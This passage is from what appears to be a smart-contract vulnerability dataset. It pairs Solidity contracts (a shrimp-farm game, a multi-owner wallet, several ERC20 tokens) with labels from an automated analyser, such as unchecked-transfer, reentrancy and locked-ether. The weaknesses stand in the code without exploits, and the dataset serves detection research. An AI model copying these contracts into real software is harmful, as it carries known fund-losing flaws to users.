* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
pragma solidity ^0.4.21; // solhint-disable-line
/*
* One Proof Shrimp Farm
* https://oneproof.net/games/shrimp
*
* Instead of having many small "proof of" smart contracts here you can
* create a unique website and use this same smart contract address.
* This would benefit all those holding because of the increased volume.
*
*
*
*
* One Proof Token Features:
* [✓] 5% rewards for token purchase, shared among all token holders.
* [✓] 5% rewards for token selling, shared among all token holders.
* [✓] 0% rewards for token transfer.
* [✓] 3% rewards is given to referrer which is 60% of the 5% purchase reward.
* [✓] Price increment by 0.000000001 instead of 0.00000001 for lower buy/sell price.
* [✓] 1 token to activate Masternode referrals.
* [✓] Ability to create games and other contracts that transact in One Proof Tokens.
* [✓] No Administrators or Ambassadors that can change anything with the contract.
*
*/
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract Proof {
function buy(address) public payable returns(uint256);
function transfer(address, uint256) public returns(bool);
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
function reinvest() public;
}
/**
* Definition of contract accepting Proof tokens
* Games, casinos, anything can reuse this contract to support Proof tokens
*/
contract AcceptsProof {
Proof public tokenContract;
function AcceptsProof(address _tokenContract) public {
tokenContract = Proof(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
// Seeded market of 8640000000 Eggs
contract ProofShrimpFarmer is AcceptsProof {
//uint256 EGGS_PER_SHRIMP_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;
uint256 public STARTING_SHRIMP=300;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=true;
address public ceoAddress;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs=8640000000;
function ProofShrimpFarmer(address _baseContract)
AcceptsProof(_baseContract)
public{
ceoAddress=msg.sender;
}
/**
* Fallback function for the contract. Since this contract does not use ETH then don't accept it.
*/
function() payable public {
revert();
}
/**
* Deposit Proof tokens to buy eggs in farm
*
* @dev Standard ERC677 function that will handle incoming token transfers.
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data)
external
onlyTokenContract
returns (bool) {
require(initialized);
require(!_isContract(_from));
require(_value >= 1 finney); // 0.001 Proof token
uint256 ProofBalance = tokenContract.myTokens();
uint256 eggsBought=calculateEggBuy(_value, SafeMath.sub(ProofBalance, _value));
// This version does not have any devfees
// eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
reinvest();
// tokenContract.transfer(ceoAddress, devFee(_value));
claimedEggs[_from]=SafeMath.add(claimedEggs[_from],eggsBought);
return true;
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
//send referral eggs
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
//boost market to nerf shrimp hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
// This version doesn't have devfees.
// uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
reinvest();
// no devFee
// tokenContract.transfer(ceoAddress, fee);
// tokenContract.transfer(msg.sender, SafeMath.sub(eggValue,fee));
tokenContract.transfer(msg.sender, eggValue);
}
// Dev should initially seed the game before start
function seedMarket(uint256 eggs) public {
require(msg.sender==ceoAddress); // only CEO can seed the market
initialized=true;
marketEggs=eggs;
}
// Reinvest Proof Shrimp Farm dividends
// All the dividends this contract makes will be used to grow token fund for players
// of the Proof Schrimp Farm
function reinvest() public {
if(tokenContract.myDividends(true) > 1) {
tokenContract.reinvest();
}
}
//magic trade balancing algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
//(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
// Calculate trade to sell eggs
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs, tokenContract.myTokens());
}
// Calculate trade to buy eggs
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
// Calculate eggs to buy simple
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, tokenContract.myTokens());
}
// Calculate devfee in game
// This version doesn't use devFee
function devFee(uint256 amount) public pure returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
// Get amount of Shrimps user has
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
// Get amount of eggs of current user
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
// Get number of doges since last hatch
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
// Collect information about doge farm dividents amount
function getContractDividends() public view returns(uint256) {
return tokenContract.myDividends(true); // + this.balance;
}
// Get tokens balance of the doge farm
function getBalance() public view returns(uint256){
return tokenContract.myTokens();
}
// Check transaction coming from the contract or not
function _isContract(address _user) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_user) }
return size > 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) unchecked-transfer with High impact
3) reentrancy-no-eth with Medium impact
4) locked-ether with Medium impact |
pragma solidity ^0.4.13;
contract Multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has five types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function Multiowned(address[] _owners, uint _required) public {
m_numOwners = _owners.length;
m_chiefOwnerIndexBit = 2**1;
for (uint i = 0; i < m_numOwners; i++) {
m_owners[1 + i] = _owners[i];
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) {
return;
}
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_from)];
if (isOwner(_to) || ownerIndex == 0) {
return;
}
clearPending();
m_owners[ownerIndex] = _to;
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) {
return;
}
if (m_numOwners >= c_maxOwners) {
clearPending();
reorganizeOwners();
}
require(m_numOwners < c_maxOwners);
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0 || m_required > m_numOwners - 1) {
return;
}
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) {
return;
}
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
function isOwner(address _addr) internal view returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) {
return false;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
return false;
} else {
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
require(ownerIndex != 0);
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = c_maxOwners + m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead and chief owner confirmed operation.
if ((pending.yetNeeded <= c_maxOwners + 1) && ((pending.ownersDone & m_chiefOwnerIndexBit != 0) || (ownerIndexBit == m_chiefOwnerIndexBit))) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
} else {
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private returns (bool) {
uint free = 1;
while (free < m_numOwners) {
while (free < m_numOwners && m_owners[free] != 0) {
free++;
}
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) {
m_numOwners--;
}
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) {
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[uint(m_owners[free])] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
address[8] public m_owners;
uint public m_chiefOwnerIndexBit;
uint constant c_maxOwners = 7;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) public m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) public m_pending;
bytes32[] public m_pendingIndex;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AlphaMarketTeamBountyWallet is Multiowned {
function AlphaMarketTeamBountyWallet(address[] _owners, address _tokenAddress) Multiowned(_owners, _owners.length - 1) public {
token = AlphaMarketCoin(_tokenAddress);
}
function transferTokens(address _to, uint256 _value) external onlymanyowners(sha3(msg.data)) {
if(_value == 0 || token.balanceOf(this) < _value || _to == 0x0) {
return;
}
token.transfer(_to, _value);
}
// Prevent sending ether to this address
function () external payable {
revert();
}
AlphaMarketCoin public token;
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AlphaMarketCoin is StandardToken {
function AlphaMarketCoin(address _controller) public {
controller = _controller;
earlyAccess[_controller] = true;
totalSupply_ = 999999999 * 10 ** uint256(decimals);
balances[_controller] = totalSupply_;
}
modifier onlyController {
require(msg.sender == controller);
_;
}
// Transfering should be enabled by ICO contract only when half of ICO is passed
event TransferEnabled();
function addEarlyAccessAddress(address _address) external onlyController {
require(_address != 0x0);
earlyAccess[_address] = true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled || earlyAccess[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(isTransferEnabled);
return super.approve(_spender, _value);
}
function enableTransfering() public onlyController {
require(!isTransferEnabled);
isTransferEnabled = true;
emit TransferEnabled();
}
// Prevent sending ether to this address
function () public payable {
revert();
}
bool public isTransferEnabled = false;
address public controller;
mapping(address => bool) public earlyAccess;
uint8 public constant decimals = 18;
string public constant name = 'AlphaMarket Coin';
string public constant symbol = 'AMC';
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol :VAB
// Name : Viable Coin
// Total supply : 78000000000000000000000000000
// Decimals : 18
// Owner Account : 0x6debC400796cD4D27DDA3677861338dBC75b6eA4
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract VAB is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "VAB";
name = "Viable Coin";
decimals = 18;
_totalSupply = 78000000000000000000000000000;
balances[0x6debC400796cD4D27DDA3677861338dBC75b6eA4] = _totalSupply;
emit Transfer(address(0), 0x6debC400796cD4D27DDA3677861338dBC75b6eA4, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT81434' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT81434
// Name : ADZbuzz Oursecrettactic.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT81434";
name = "ADZbuzz Oursecrettactic.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
